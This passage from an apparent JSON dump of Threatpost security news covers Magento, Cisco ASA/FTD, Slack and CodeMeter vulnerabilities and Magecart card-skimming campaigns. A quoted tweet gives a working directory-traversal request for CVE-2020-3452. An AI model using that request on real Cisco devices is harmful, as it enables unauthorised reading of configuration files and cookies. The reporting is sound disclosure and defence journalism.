resort, website owners should periodically check the integrity of their script code, which can be as simple as calculating a checksum every few minutes to look for an unexpected change.\u201d\n\n**_What are the top risks to modern enterprises in the peak era of data breaches? Find out: Join breach expert Chip Witt from SpyCloud and Threatpost senior editor Tara Seals, in our upcoming free _**[**_Threatpost webinar_**](<https://attendee.gotowebinar.com/register/3127445778613605890?source=ART>)**_, \u201cTrends in Fortune 1000 Breach Exposure.\u201d _**[**_Click here to register_**](<https://attendee.gotowebinar.com/register/3127445778613605890?source=ART>)**_._**\n", "cvss3": {}, "published": "2019-11-12T18:13:18", "type": "threatpost", "title": "Magento Warns E-Commerce Sites to Upgrade ASAP to Prevent Attacks", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2019-8144", "CVE-2020-24400", "CVE-2020-24407", "CVE-2020-5135"], "modified": "2019-11-12T18:13:18", "id": "THREATPOST:CA33E204EC4B2286ECCDD9C58B908175", "href": "https://threatpost.com/magento-warns-upgrade-asap/150115/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2020-10-15T22:16:17", "description": "A high-severity vulnerability in Cisco\u2019s network security software could lay bare sensitive data \u2013 such as WebVPN configurations and web cookies \u2013 to remote, unauthenticated attackers.\n\nThe flaw exists in the web services interface of Cisco\u2019s Firepower Threat Defense (FTD) software, which is part of its suite of network security and traffic management products; and its Adaptive Security Appliance (ASA) software, the operating system for its family of ASA corporate network security devices.\n\n\u201cAn attacker could exploit this vulnerability by sending a crafted HTTP request containing directory traversal character sequences to an affected device,\u201d according to a [Wednesday advisory from Cisco](<https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-ro-path-KJuQhB86>). \u201cA successful exploit could allow the attacker to view arbitrary files within the web services file system on the targeted device.\u201d\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nThe vulnerability ([CVE-2020-3452](<https://nvd.nist.gov/vuln/detail/CVE-2020-3452>)), which ranks 7.5 out of 10 on the CVSS scale, is due to a lack of proper input validation of URLs in HTTP requests processed by affected devices. Specifically, the vulnerability allows attackers to conduct directory traversal attacks, which is an HTTP attack enabling bad actors to access restricted directories and execute commands outside of the web server\u2019s root directory.\n\n\u201cThis vulnerability\u2026 is highly dangerous,\u201d said Mikhail Klyuchnikov of Positive Technologies, who was credited with independently reporting the flaw (along with Ahmed Aboul-Ela of RedForce), in a statement provided to Threatpost. \u201cThe cause is a failure to sufficiently verify inputs. An attacker can send a specially crafted HTTP request to gain access to the file system (RamFS), which stores data in RAM.\u201d\n\nA potential attacker can view files within the web services file system only. The web services file system is enabled for specific WebVPN and AnyConnect features (outlined in Cisco\u2019s advisory). The web services files that the attacker can view may have information such as WebVPN configuration, bookmarks, web cookies, partial web content and HTTP URLs.\n\nCisco said the vulnerability affects products if they are running a vulnerable release of Cisco ASA Software or Cisco FTD Software, with a vulnerable AnyConnect or WebVPN configuration: \u201cThe web services file system is enabled when the affected device is configured with either WebVPN or AnyConnect features,\u201d according to its advisory. However, \u201cthis vulnerability cannot be used to obtain access to ASA or FTD system files or underlying operating system (OS) files.\u201d\n\nTo eliminate the vulnerability, Klyuchnikov urged Cisco users to update Cisco ASA to the most recent version. Cisco said it\u2019s not aware of any malicious exploits for the vulnerability \u2013 however, it is aware of proof-of-concept (POC) exploit code [released Wednesday](<https://twitter.com/aboul3la>) by security researcher Ahmed Aboul-Ela.\n\n> Here is POC of CVE-2020-3452, unauthenticated file read in Cisco ASA & Cisco Firepower.\n> \n> For example to read \"/+CSCOE+/portal_inc.lua\" file.\n> \n> https://<domain>/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../\n> \n> Happy Hacking! [pic.twitter.com/aBA3R7akkC](<https://t.co/aBA3R7akkC>)\n> \n> \u2014 Ahmed Aboul-Ela (@aboul3la) [July 22, 2020](<https://twitter.com/aboul3la/status/1286012324722155525?ref_src=twsrc%5Etfw>)\n\nEarlier in May, Cisco stomped out [12 high-severity vulnerabilities](<https://threatpost.com/cisco-fixes-high-severity-flaws-in-firepower-security-software-asa/155568/>) across its ASA and FTD network security products. The flaws could be exploited by unauthenticated remote attackers to launch an array of attacks \u2013 from denial of service (DoS) to sniffing out sensitive data.\n", "cvss3": {}, "published": "2020-07-23T19:49:49", "type": "threatpost", "title": "Cisco Network Security Flaw Leaks Sensitive Data", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-24400", "CVE-2020-24407", "CVE-2020-3452", "CVE-2020-5135"], "modified": "2020-07-23T19:49:49", "id": "THREATPOST:C51D2F2366676BB018956D93916AC33E", "href": "https://threatpost.com/network-security-cisco-flaw-leaks-sensitive-data/157691/", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}}, {"lastseen": "2020-10-16T22:16:01", "description": "A critical vulnerability in the popular Slack collaboration app would allow remote code-execution (RCE). Attackers could gain full remote control over the Slack desktop app with a successful exploit \u2014 and thus access to private channels, conversations, passwords, tokens and keys, and various functions. They could also potentially burrow further into an internal network, depending on the Slack configuration, according to a security report.\n\nThe bug (rated between nine and 10 on the CvSS vulnerability-severity scale), was disclosed on Friday, and involves cross-site scripting (XSS) and HTML injection. Slack for Desktop (Mac/Windows/Linux) prior to version 4.4 are vulnerable.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>) \n\u201cWith any in-app redirect-logic/open redirect, HTML or JavaScript injection, it\u2019s possible to execute arbitrary code within Slack desktop apps,\u201d wrote a bug-hunter going by the handle \u201coskarsv,\u201d who submitted [a report](<https://hackerone.com/reports/783877>) on the bug to Slack via the HackerOne platform (earning $1,500). \u201cThis report demonstrates a specifically crafted exploit consisting of an HTML injection, security control bypass and a RCE JavaScript payload.\u201d\n\nAccording to the disclosed technical writeup, attackers could trigger an exploit by overwriting Slack desktop app \u201cenv\u201d functions to create a tunnel via BrowserWindow; to then execute arbitrary JavaScript, in what is \u201ca weird XSS case,\u201d he said.\n\n## **Technical Details**\n\nTo exploit the bug, attackers would need to upload a file to their own HTTPS-enabled server with a payload; then, they could prepare a Slack post with an HTML injection containing the attack URL pointing to that payload (hidden in an image). After that, they need only to share that post with a public Slack channel or user. If a user clicks on the booby-trapped image, the code will be executed on the victim\u2019s machine.\n\nAs for accomplishing the HTML injection, the issue lies in the way Slack posts are created, according to the researcher.\n\n\u201c[Creating a post] creates a new file on https://files.slack.com with [a specific] JSON structure,\u201d according to the writeup. \u201cIt\u2019s possible to directly edit this JSON structure, which can contain arbitrary HTML.\u201d\n\noskarsv added, \u201cJavaScript execution is restricted by [Content Security Policy](<https://threatpost.com/google-chrome-bug-data-theft/158217/>) (CSP) and various security protections are in place for HTML tags (i.e. banned iframe, applet, meta, script, form etc. and target attribute is overwritten to _blank for A tags). However, it is still possible to inject area and map tags, which can be used to achieve a one-click-RCE.\u201d He further explained that the URL link to the malicious payload could be written within the area tag.\n\nAlternatively, oskarsv also discovered that emails (when sent as plaintext) are stored unfiltered on Slack servers \u2013 a situation that can be abused in order to store the RCE payload without attackers needing to own their own hosting.\n\n\u201cSince it\u2019s a trusted domain, it could contain a phishing page with a fake Slack login page or different arbitrary content which could impact both security and reputation of Slack,\u201d he explained. \u201cThere are no security headers or any restrictions at all as far as I could tell and I\u2019m sure some other security impact could be demonstrated with enough time.\u201d\n\nRegardless of approach, exploits can be used to execute any attacker-provided command, according to the researcher.\n\n\u201cThe payload can be easily modified to access all private conversations, files, tokens etc., without executing commands on the user\u2019s computer,\u201d he wrote, \u201c[or] access to private files, private keys, passwords, secrets, internal network access, etc.\u201d\n\nFurther, the payload could be made \u201cwormable\u201d so that it re-posts to all user workspaces, the researcher added.\n\nUsers should make sure their Slack desktop apps are upgraded to at least version 4.4 in order to avoid attacks. The bug was patched in February, but has just now been disclosed because of a HackerOne disclosure hiatus on all bugs, which was in effect for several months.\n\n**[On Wed Sept. 16 @ 2 PM ET:](<https://threatpost.com/webinars/five-essentials-for-running-a-successful-bug-bounty-program/>) Learn the secrets to running a successful Bug Bounty Program. [Resister today](<https://slack-redir.net/link?url=https%3A%2F%2Fthreatpost.com%2Fwebinars%2Ffive-essentials-for-running-a-successful-bug-bounty-program%2F>) for this FREE Threatpost webinar \u201c[Five Essentials for Running a Successful Bug Bounty Program](<https://slack-redir.net/link?url=https%3A%2F%2Fthreatpost.com%2Fwebinars%2Ffive-essentials-for-running-a-successful-bug-bounty-program%2F>)\u201c. Hear from top Bug Bounty Program experts how to juggle public versus private programs and how to navigate the tricky terrain of managing Bug Hunters, disclosure policies and budgets. Join us Wednesday Sept. 16, 2-3 PM ET for this [LIVE](<https://slack-redir.net/link?url=https%3A%2F%2Fthreatpost.com%2Fwebinars%2Ffive-essentials-for-running-a-successful-bug-bounty-program%2F>) webinar.**\n", "cvss3": {}, "published": "2020-08-31T15:36:29", "type": "threatpost", "title": "Critical Slack Bug Allows Access to Private Channels, Conversations", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-24400", "CVE-2020-24407"], "modified": "2020-08-31T15:36:29", "id": "THREATPOST:694A3BE8CD7B0AD2CFE4B7CB47818F4A", "href": "https://threatpost.com/critical-slack-bug-access-private-channels-conversations/158795/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2020-10-15T22:13:36", "description": "While patch management already presents challenges for enterprises, it\u2019s even more of a headache for manufacturers and other industrial firms \u2013 who may even need to shut down entire factory operations in order to apply fixes.\n\nSharon Brizinov, the principal vulnerability researcher with Claroty, has discovered and reported various security flaws in industrial control systems (ICS), including most recently a vulnerability in a software component used by various critical infrastructure systems ([which he disclosed last week](<https://threatpost.com/severe-industrial-bugs-takeover-critical-systems/159068/>)).\n\n[**Download the podcast here or listen below.**](<http://traffic.libsyn.com/digitalunderground/Claroty_Podcast.mp3>)\n\nBrizinov told Threatpost that because CodeMeter is a third-party component utilized by various leading ICS products (including Rockwell Automation and Siemens), users may be unaware that it\u2019s running in their environments. The issue is indicative of larger patch-management challenges in the industrial space, where there are difficulties not only for industrial system manufacturers, but for end users themselves, he said.\n\n\u201cWhen we\u2019re talking about ICS, it\u2019s a big more dangerous, and we should be more alert than the usual IT network,\u201d Brizinov said in this week\u2019s Threatpost podcast. \u201cAnd that\u2019s because operational-technology networks, SCADA networks, contain some dangerous parts.\u201d\n\n[\n\n](<http://iframe%20style=border:%20none%20src=//html5-player.libsyn.com/embed/episode/id/16126142/height/90/theme/custom/thumbnail/yes/direction/backward/render-playlist/no/custom-color/87A93A/%20height=90%20width=100%%20scrolling=no%20%20allowfullscreen%20webkitallowfullscreen%20mozallowfullscreen%20oallowfullscreen%20msallowfullscreen/iframe>)\n\n_Below is a lightly edited transcript of the podcast._\n\n**Lindsey O\u2019Donnell-Welch**: Welcome back to the Threatpost podcast. This is Lindsey O\u2019Donnell-Welch with Threatpost. And I am joined today by Sharon Brizinov, the principal vulnerability researcher with Claroty, who is going to be talking about some new critical security flaws that were recently discovered in a software component utilized by various industrial systems, as well as industrial control system security in general. So, Sharon, thank you so much for joining us today.\n\n**Sharon Brizinov: **Yeah, thank you. Happy to be here.\n\n**LO:** Great. So just to set the context a little bit here. Last week, researchers [discovered six critical flaws in CodeMeter](<https://threatpost.com/severe-industrial-bugs-takeover-critical-systems/159068/>), which is a software management component that is licensed by several of the top industrial control system software vendors, such as Rockwell Automation, and Siemens. Now, CodeMeter, what it does is it gives these companies the different components and tools to help with their licensing models and to bolster security and protect against reverse engineering and piracy. So Sharon, can you tell us a little bit about these vulnerabilities, and, just to start, how you first discovered them?\n\n**SB:** Yeah, sure. So we actually started the research, I think, one and a half years ago. We started to notice that a lot of products, especially in the ICS domain, are shaped and distributed alongside with a software called CodeMeter. So we were curious why CodeMeter was so common in the ICS domain. And we started to take a look at it. And we discovered, with our research, we discovered six different vulnerabilities that we were able to convert into two different attack scenarios. So we were able to prove that attackers can leverage these six vulnerabilities into the threat vectors that I mentioned. And in one of the attack vectors, attackers can attack the victims using a specifically crafted website. And the second attack vector, attackers can attack the victim by just remotely communicating with the CodeMeter server that is located on the machines.\n\n**LO:** Right. So that sounds like there are varying levels of impact and kind of various levels of severity as well here. Where did the vulnerabilities exist? Were they all in the same area of CodeMeter? Or were they more distributed across the the software component?\n\n**SB:** So actually, they\u2019re distributed. So there are six vulnerabilities. So some of them are in the the protocol communication, part of CodeMeter. Some of them are in the way that code meter is parsing requests from web socket APIs. And some of them are related to license parsing, and license verifications. So it\u2019s very, the places where we found the vulnerabilities are very different from one another.\n\n**LO:** And can you talk a little bit more about the impact of the vulnerabilities and how easy they are to exploit? You had mentioned that, in one case, attackers could potentially send a specially crafted link, and that was one attack vector. What were the different types of attack scenarios there?\n\n**SB: **Yeah, sure. So in the first attack vector that I mentioned, this is actually a very easy one to exploit. In this case, in this attack vector, an attacker will prepare a website somewhere on the internet. And it will prepare, specifically crafted JavaScript that once a victim will go on this website -using some phishing methods or other ways to lure the victim into the website \u2013 the website will send this specifically crafted JavaScript to the browser of the victim. And this JavaScript code, what it will do, it will actually communicate locally with the CodeMeter server and use some web socket API in order to trigger a vulnerability we found in the license mechanism. So the full flow for the first attack vector would be a victim going on a malicious website using some phishing methods, then the website will attack the CodeMeter through the browser, and it will inject a malicious license that will cause CodeMeter to stop working properly.\n\n**LO:** Right. So it sounds like the impact here, too, would be, you know, remote code execution and enabling attackers to launch [denial-of-service attacks](<https://threatpost.com/ddos-attacks-skyrocket-pandemic/159301/>) and some other impacts there as well. It seems like it\u2019s kind of like a broad spectrum, right?\n\n**SB:** Yeah. So this was the first attack vector, and it was very easy to find, because lately, we have seen a rise in web socket usage. And there are a couple of implementation properties that when developers are implementing web socket, they really needed to to notice how they implement the web socket. Otherwise, it could open a door to attackers, just like in this case. So this was the first attack vector, which is kind of easy to exploit.\n\nAnd the second attack vector that we were able to find, requires a little bit of more knowledge of some crypto graphical aspects and crypto graphical methods. In the second attack vector, attackers would need to directly connect and communicate with the CodeMeter server. So they would need to be on the same local area network as their victim. And in this case, they can send specifically crafted packets to the machine, to the CodeMeter server, and then trigger a couple of vulnerabilities that we were able to find.\n\n**LO:** Right, and what would the impact be? If I successfully exploited what could an attacker do in that case scenario?\n\n**SB:** Yeah, so in this case, attackers will be able to run code remotely. So that would be an RCE, [remote code execution](<https://threatpost.com/critical-remote-code-execution-global-power-plants/151087/>), on the remote machine.\n\n**LO:** Right, right. It\u2019s really interesting. I feel like with industrial security, the bar is really raised a bit over other types of security threats, just because of what that could mean for different [industrial control systems](<https://threatpost.com/threatlist-attacks-on-industrial-control-systems-on-the-rise/137251/>), like programmable logic controllers, or other types of controls. And you know, what the real life impact would be for different industrial systems and machines \u2013 can you talk a little bit about what the real life attack or impact would look like for a victim here?\n\n**SB:** Yes, you\u2019re definitely right that when we\u2019re talking about ICS, it\u2019s a big more dangerous, and we should be more alert than the usual IT network. And that\u2019s because OT networks, SCADA networks, contain some dangerous parts. So we have some machines, and we have some actuators in this network. So if an attacker can somehow attack this kind of network, they will be able to get access to [very dangerous equipment that can endanger humans](<https://threatpost.com/triton-malware-targets-industrial-control-systems-in-middle-east/129182/>). And we\u2019ve seen this multiple times in the past. So we have seen it with Stuxnet, [the Stuxnet malware](<https://threatpost.com/details-surface-on-stuxnet-patch-bypass/111579/>) was able to cause some real damage, real physical damage. And that\u2019s why we\u2019re so alert when we\u2019re talking about ICS security. Specifically, in this case, since CodeMeter is so widespread in those networks, because many ICS vendors integrated with CodeMeter, then if attackers will be able to exploit CodeMeter and attack CodeMeter, basically, it means that they will be able to get access to thousands of machines in OT networks. And that\u2019s why it has a such a big impact because it actually opens a door for attackers to attack multiple computers, multiple machines on the ICS network.\n\n**LO:** That could potentially be very damaging and you make a really good point that these challenges do exist, they\u2019re kind of going beyond just CodeMeter and to affected vendors like Rockwell, like Siemens, and Rockwell and Siemens have released their own security advisories, but with CodeMeter being integrated into many ICS products, you know, what can users do to make sure their systems are safe? Because as you had mentioned, in the research users may be unaware that this this vulnerable component is still running in their environment.\n\n**SB:** Yeah, exactly. So you\u2019re definitely right. CodeMeter is a third-party component. So usually users will not install CodeMeter themselves. They will install, let\u2019s say, a software by Rockwell Automation or any software by Siemens, and then along the installation bundle CodeMeter will be shipped and installed. So users will not install coordinator themselves, and therefore they won\u2019t even know they have CodeMeter. And that\u2019s why we developed a website that end users could go online, to our website, to our test web page, and actually test if the machine is vulnerable. So I definitely recommend anyone to go online to our website, to our test page and test if they\u2019re vulnerable. And we have developed a couple of ways to understand if you\u2019re vulnerable too, so we have some tools on our GitHub repository that system administrators could use these tools in their networks to mass scan their network and see what machines are running CodeMeter. So to summarize the answer a bit, first, I would like to recommend anyone to discover instances of CodeMeter in the network so they can do it by going to our test page or our GitHub repository, and download our scanning tool. And then to mitigate it, that\u2019s another story and to mitigate it, first of all, I would recommend to follow Wibu\u2019s own advisory. So Wibu always the company that developed CodeMeter, and they have their own advisory. But also I would recommend end users to read the advisories by the other vendors, let\u2019s say, the Rockwell Automation vendor, or the Siemens, depending on the equipment and software they have installed.\n\n**LO: **Yeah, definitely, for sure. And just taking a step back here and looking at industrial control system security and critical infrastructure security in general, I feel like patching in general in the industrial world is just a big challenge because of different things that need to happen. I mean, machines can\u2019t be just shut down in order to patch and things like that. Can you talk a little bit about what types of challenges there are [when it comes to patch management](<https://threatpost.com/schneider-electric-patches-critical-rce-vulnerability/131610/>) for industrial control systems, and also the process of disclosure in this situation as well, when you first notify them, when a fix was issued?\n\n**SB:** So my team is responsible for finding vulnerabilities. So we assess different tickets, different products from the security, security angle, and we\u2019re trying to find vulnerabilities so the defenders can think ahead. And once we discover a couple of vulnerabilities, we\u2019re preparing a PoC, proof of concept. And then we\u2019re preparing to report and we\u2019re sending it to the vendor. From this point, the vendor needs to triage and make sure our report is valid. And once they do that, we\u2019re starting to work with them in order to fix the vulnerabilities. So sometimes, the vendor asks for us, for more information or to explain a bit how we found it. And once the vendor has a pretty good idea of where their vulnerabilities are and how to patch it, they\u2019re actually developing a patch or they\u2019re developing a new release, and they\u2019re releasing a new version with the fixed code. From this point, we\u2019re starting to work with some CERTs organizations, so CERT organizations [help to distribute the the information that new software releases are out](<https://threatpost.com/nsa-urgent-warning-industrial-cyberattacks-triconex/157723/>) and new patches are out. And we\u2019re working with them too, so they can alert the community, specifically the industrial community, of new vulnerabilities and what are the patches. And from this point, it comes to the first part of your question. And so people know that some vulnerabilities exist, and they needed to patch their software.\n\nAnd so it really depends right now, the type of the factory that or the network that we\u2019re talking about. If we\u2019re talking about an external network that has a some online access to the internet, then patching is much easier. So the admins will just download the patch, and we\u2019ll install it. But if we\u2019re talking about a production network, which is usually offline, it doesn\u2019t connect directly to the internet. So what we\u2019ll have to do is first test the patch offline in their lab. So usually they have a lab offline with all the equipment, which simulates and emulates actually the the real production line and they will test it in the lab to make sure there are no malfunctions and their software works well, with their code that\u2019s running in the factory and the patches. And once they will verify this, they will move on to shut down the factory, maybe it will be on Saturday, maybe it will be on Sunday for a few hours. So patches could be applied when the machines are down. So that\u2019s why it\u2019s so complicated to patch software in production lines, because the administrators will need to work very hard in order to test it in their lab before applying the patches. And then when applying the patches, the factory must be shut down. Because they don\u2019t want any damage to be caused if patches go wrong on a live production.\n\n**LO: **Right? That\u2019s pretty crazy that they have to, you know, completely shut down too. And I think when you look at IT and OT teams, and how they need to work together. One thing that is difficult for people on the security side to realize at least just how important downtime is for [these different types of industrial machines](<https://threatpost.com/ics-security-plagued-with-basic-avoidable-mistakes/138273/>). And I think that is really why patching is such a difficulty. You know, although it\u2019s so necessary as well, as we\u2019re seeing in this case. Now, can you talk a little bit more about what other challenges exist in general, when it comes to applying security controls or other security issues that exist in critical infrastructure that you\u2019ve seen over your time looking for vulnerabilities in industrial control systems?\n\n**SB:** Yeah, sure. So there are a couple of different categories of attackers, some attackers would like to [attack OT networks just to install a ransomware](<https://threatpost.com/ransomware-national-crisis-cisa-ics/153322/>). Because they know that if their ransomware campaign is successful, then the factory is being shut down. And it costs a lot of money to the factory owners, and they most likely pay the ransom. So this is one category of financial cyber criminals that just want to earn some money, and they want to install a ransomware in the network. Another category that we\u2019ve encountered encountered in the past would be attackers, that are nation state sponsored, or a very advanced group that wanted to attack factories to get a foothold inside the OT network, just so they can prepare some kind of weapon, a physical weapon, that they can they can weaponize and use it whenever they need. So for example, they can even blow up a factory if they\u2019re getting enough money from other criminals. So this is a very dangerous type of attacker. And it\u2019s actually very rare to see an ongoing campaign like this, because the the complexity of this campaign, the complexity of this operation is very high. And you need some very advanced tools to maintain such an a campaign. So this is the second category. The third category would be spontaneous access to OT networks. So let\u2019s say you have attackers on the IT network, and suddenly they discover a misconfiguration that allows them to go from the IT network to the OT network, and they just start to poke around and see what kind of computers and what kind of machines and other OT equipment is found on this network. And they\u2019ll just try to use some exploits. Usually it won\u2019t be any sophisticated exploits. So usually it will be one days, not zero days. And usually they could could be couched very quickly because they\u2019re not very sophisticated. So I would categorize the different attackers into these three groups.\n\n**LO: **Right, and I know at least with ransomware, I feel like ransomware attacks have steadily increased over the past year attacking industrial companies, especially [when you look at like Norsk Hydro](<https://threatpost.com/norsk-hydro-calls-ransomware-attack-severe/142924/>) and some of the other vendors who have been targeted. So that seems like it\u2019s an up and coming one. Is that what you\u2019re seeing on your end as well?\n\n**SB: **Yeah, so usually these attacks are opportunistic, so attackers will just release, you know, a phishing campaign or they will release some kind of virus that will try to copy itself to different networks. And if they\u2019re successful, they will be able to infect OT network as well. And then if a malware or in this case ransomware is being spread in the OT network, it will be very beneficial for the attackers, because usually, factory owners will do anything to to continue the production line. So they don\u2019t want to lose money. So they\u2019ll do some analysis, will it cost them more to pay the ransom? Or to shut down their factory?\n\n**LO:** Right, right. And Sharon before we wrap up is there anything else you wanted to highlight either relating to your recent discoveries of the six vulnerabilities in CodeMeter, or just in general, any trends that you may be seeing in the industrial security space?\n\n**SB:** So I just want to sum up with saying that we have seen a high, high and increased usage of malware campaigns and other exploits targeting specifically OT networks. And that\u2019s why we\u2019re very focused on finding vulnerabilities before the attackers will find them. So my message to anyone is always patch. This is the most efficient way to overcome vulnerabilities and be alert.\n\n**LO: **Great. Absolutely. Well, Sharon, thank you so much for joining us today on the Threatpost podcast and talking to us a little bit more about industrial control system security and these recent vulnerabilities.\n\n**SB:** Yeah, sure. Happy to be here. And thank you very much, Lindsey.\n\n**LO:** And to all of our listeners. Thank you for listening in to the Threatpost podcast today. If you have any questions or comments on industrial security, please reach out to us on our Twitter page @Threatpost and catch us on our next episode of the Threatpost podcast.\n\n_**Also, check out our [podcast microsite](<https://threatpost.com/microsite/threatpost-podcasts-going-beyond-the-headlines/>), where we go beyond the headlines on the latest news.**_\n", "cvss3": {}, "published": "2020-09-23T15:32:55", "type": "threatpost", "title": "Critical Industrial Flaws Pose Patching Headache For Manufacturers", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-24400", "CVE-2020-24407"], "modified": "2020-09-23T15:32:55", "id": "THREATPOST:F7D65957C604C7659052B9B15947A826", "href": "https://threatpost.com/critical-industrial-flaws/159448/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2020-10-15T22:26:17", "description": "Concerned global citizens making donations to help fight the [massive Australia bushfires](<https://www.cbsnews.com/news/australia-fires-firefighters-team-up-with-americans-to-fight-bushfires/>) have been caught up in a Magecart attack, after one of the groups implanted a payment-card skimmer on the check-out page of a legitimate online donation site.\n\nResearchers [ran across](<https://twitter.com/MBThreatIntel/status/1215693928764063744>) the Magecart script, named \u201cATMZOW\u201d after one of the strings in the code, stealing form data from the checkout page of the site. This included the payment-card data itself (name on card, number, expiry and CVV) as well as additional personal information such as name and billing address.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nJ\u00e9r\u00f4me Segura, director of threat intelligence at Malwarebytes, told Threatpost that this particular script uses typical obfuscation but also has some anti-debugging tricks. It infected the site via its e-commerce platform, which he said hadn\u2019t been patched or updated in a while.[![](https://media.threatpost.com/wp-content/uploads/sites/103/2020/01/14150623/bushfire-300x252.png)](<https://media.threatpost.com/wp-content/uploads/sites/103/2020/01/14150623/bushfire.png>)\n\n\u201cThe compromised site is running Magento, by far the most targeted CMS when it comes to skimming, and was outdated, which is likely how the attackers were able to inject it with malware,\u201d he said in an email interview. \u201cWe don\u2019t believe this site was targeted on its own, but rather was victim of an automated attack based on exploiting known vulnerabilities. This reinforces the idea that any site, big or small, business or not for profit, is a valuable resource for criminals.\u201d\n\nSegura declined to name the affected site (but said that it was informed of the problem and that the malicious code \u201chas been removed from the site as we speak\u201d). However, researchers traced the skimmer back to its control panel, a known exfiltration domain at vamberlo[.]com.\n\n\u201cThe same ATMZOW script had already been injected into dozens of other websites before this one and using the same exfiltration domain as well,\u201d Segura told Threatpost.\n\nTroy Mursch of Bad Packets Report said [via tweet](<https://twitter.com/bad_packets/status/1215726048769273856>) that the PublicWWW tool indeed shows that ATMZOW is active on 39 other websites, and posted a screenshot:\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2020/01/14151505/magecart-sites-1024x791.png)](<https://media.threatpost.com/wp-content/uploads/sites/103/2020/01/14151505/magecart-sites.png>)\n\n[Magecart](<https://threatpost.com/magecart-blue-bear-attack/151585/>) is an umbrella term encompassing several different threat groups who typically use the same modus operandi. They compromise websites by exploiting vulnerabilities in third-party e-commerce platforms, in order to inject card-skimming scripts on checkout pages.\n\nAt Virus Bulletin last October, researchers at RiskIQ said that Magecart is now so ubiquitous that its infrastructure [is flooding the internet](<https://threatpost.com/magecart-infestations-saturate-web/148911/>). There are at least 570+ known command-and-control (C2) domains for the group, with close to 10,000 hosts actively loading those domains, researchers said.\n\nEven so, Segura told Threatpost that this could be the tip of the iceberg.\n\n\u201cClient-side web skimmers have become well documented over the past couple of years,\u201d he said. \u201cHowever, what we read about is probably only a small fraction of the total number of active compromises. In particular, we rarely ever hear about skimmers that work server-side because only very few companies/researchers are able to get visibility into these breaches.\u201d\n\n_**Concerned about mobile security? **_[**Check out our free Threatpost webinar,**](<https://attendee.gotowebinar.com/register/7679724086205178371?source=art>) _**Top 8 Best Practices for Mobile App Security**__**, on Jan. 22 at 2 p.m. ET. **_**_Poorly secured apps can lead to malware, data breaches and legal/regulatory trouble. Join our experts to discuss the secrets of building a secure mobile strategy, one app at a time._** [_**Click here to register**_](<https://attendee.gotowebinar.com/register/7679724086205178371?source=art>)_**.**_\n", "cvss3": {}, "published": "2020-01-14T20:39:35", "type": "threatpost", "title": "Card Skimmer Hits Australian Bushfire Donation Site", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-24400", "CVE-2020-24407"], "modified": "2020-01-14T20:39:35", "id": "THREATPOST:91C088C13F7384C96414B2C00FAF909B", "href": "https://threatpost.com/card-skimmer-australian-bushfire-donation-site/151841/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2020-10-15T22:17:10", "description": "Since its launch three years ago, the Keeper threat group has compromised more than 570 e-commerce websites, from online liquor stores to Apple product resellers. And experts warn of future, increasingly sophisticated attacks against online merchants worldwide.\n\nThe Keeper group, a faction of the [Magecart umbrella](<https://threatpost.com/tag/magecart/>), consists of an interconnected network of 64 attacker domains and 73 exfiltration domains. Researchers recently uncovered an unsecured access log on the Keeper control panel harboring 184,000 compromised payment cards, which had time stamps that ranged from July 2018 to April 2019.\n\n\u201cExtrapolating the number of cards per nine months to Keeper\u2019s overall lifespan, and given the dark-web median price of $10 per compromised card-not-present (CNP) card, this group has likely generated upwards of $7 million USD from selling compromised payment cards,\u201d according to [new research](<https://geminiadvisory.io/keeper-magecart-group-infects-570-sites/>) from Gemini Advisory on Tuesday.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nAs is common for [Magecart groups](<https://threatpost.com/magecart-groups-attack-simultaneous-sites-in-card-theft-frenzy/149872/>), Keeper attackers launched attacks by breaking into online store backends, altering their source code and inserting malicious scripts that log payment-card details entered by shoppers in checkout forms. Researchers say Keeper exfiltration and attacker domains use identical login panels and are all linked to the same dedicated server. This server hosts both the malicious payload and the exfiltrated data stolen from victim sites, they said.\n\n\u201cThe Gemini team has named this group \u2018Keeper\u2019 based on its repeated usage of a single domain called fileskeeper[.]org to inject malicious payment card-stealing JavaScript (JS) into the website\u2019s HTML code, as well as receive compromised card data,\u201d said researchers.\n\n## **Victimology**\n\n[![keeper threat group magecart](https://media.threatpost.com/wp-content/uploads/sites/103/2020/07/07151730/keeper-magecart-300x208.png)](<https://media.threatpost.com/wp-content/uploads/sites/103/2020/07/07151730/keeper-magecart.png>)\n\nClick to Expand\n\nThe 570 victim e-commerce stores range from small boutique shops to top sites in the Alexa Global Rankings, receiving between 500,000 to 1 million visitors monthly. Examples include an India-based online jewelry store (ejohri[.]com), a U.S. based premier wine and spirits seller (cwspirits[.]com) and an Indonesia-based Apple product reseller (ibox.co[.]id).\n\nAlso of note, more than 85 percent of the victim sites operated on the Magento CMS. Magento is known to be the [top target for Magecart attacks](<https://threatpost.com/magento-warns-upgrade-asap/150115/>), and has more than 250,000 users worldwide. Magento 1 reached [end-of-life last week](<https://threatpost.com/tuesdays-magento-1-eol-100k-online-stores/157000/>), with Adobe making a last-ditch effort to urge the 100,000 online stores still running the outdated version to migrate to Magento 2 or face potential targeting from Magecart and other threat groups. Other CMS platforms that were hit by Keeper\u2019s campaign included sites using WordPress (5.5 percent), Shopify (4.2 percent), BigCommerce (2 percent) and PrestaShop 